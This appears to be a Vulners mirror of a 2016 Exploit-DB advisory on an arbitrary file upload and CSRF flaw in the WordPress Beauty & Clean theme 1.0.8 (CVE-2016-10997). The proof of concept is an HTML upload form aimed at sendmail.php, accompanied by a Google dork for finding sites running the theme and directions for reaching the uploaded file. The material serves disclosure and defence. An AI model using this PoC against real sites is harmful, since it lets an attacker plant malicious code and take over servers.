Lucene search
+L

WordPress Theme Beauty & Clean 1.0.8 - 'sendmail.php' Arbitrary File Upload

🗓️ 11 Mar 2016 00:00:00Reported by Colette ChamberlandType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 177 Views

WordPress Beauty Theme v1.0.8 File Upload Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2016-10997
20 Sep 201914:08
–cve
cvelist
Cvelist
CVE-2016-10997
20 Sep 201914:08
–cvelist
euvd
EUVD
EUVD-2016-1988
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2016-10997
20 Sep 201915:15
–nvd
osv_cve
osv_cve
CVE-2016-10997
20 Sep 201915:15
–osv_cve
prion
Prion
Cross site request forgery (csrf)
20 Sep 201915:15
–prion
ptsecurity
Positive Technologies
PT-2019-7790
20 Sep 201900:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2016-10997: Cross-Site Request Forgery (CSRF)
20 Sep 201900:00
–rapid7
redhatcve
RedhatCVE
CVE-2016-10997
9 Jan 202611:14
–redhatcve
wpvulndb
WPVulnDB
Beauty & Clean Theme 1.0.8 - Arbitrary File Upload
11 Mar 201600:00
–wpvulndb
* Exploit Title: Wordpress Beauty Theme File Upload Vulnerability v1.0.8
* Discovery Date: 02.09.2016
* Public Disclosure Date:03.09.2016
* Vendor Homepage: http://www.yourinspirationweb.com
* Exploit Author: Colette Chamberland (Wordfence)
* Contact: [email protected]
* Version: 1.0.8 (may affect newer versions but this was all I had)
* Tested on: Wordpress 4.2.x-4.4.x

Description
================================================================================
 The Beauty Premium theme contains a contact form that is vulnerable to CSRF
 and File Upload vulnerability in the sendmail.php file. The file attachment
 gets uploaded to the wordpress upload directory and it is not sanitized,
 allowing attackers to upload harmful code.


PoC
================================================================================
Google Dork inurl:themes/beauty-premium/ or detect via WPScan:

<form method="post" action="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" enctype="multipart/form-data">
<input type="text" name="yiw_contact[name]" id="name-test" class="required" value="test" />
<input type="text" name="yiw_contact[email]" id="email-test" class="required email-validate" value="[email protected]" />
<input type="text" name="yiw_contact[phone]" id="phone-test" class="" value="1234567890" />
<input type="text" name="yiw_contact[website]" id="website-test" class="" value="http://www.blah.com" />
<textarea name="yiw_contact[message]" id="message-test" rows="8" cols="30" class="required">This is a FUV test&lt;/textarea&gt;
<input type="file" name="yiw_contact[file]" allow="text/*" maxlength="50">
<li class="submit-button">
<input type="hidden" name="yiw_action" value="sendemail" id="yiw_action" />
<input type="hidden" name="yiw_referer" value="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" />
<input type="hidden" name="id_form" value="test" />
<input type="submit" name="yiw_sendemail" value="send message" class="sendmail alignright" />			</li>
</form>

You will receive a 404 error after posting, but navigate to the sites upload directory and access your uploaded file directly.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 24.3
CVSS 3.16.5
EPSS0.02419
177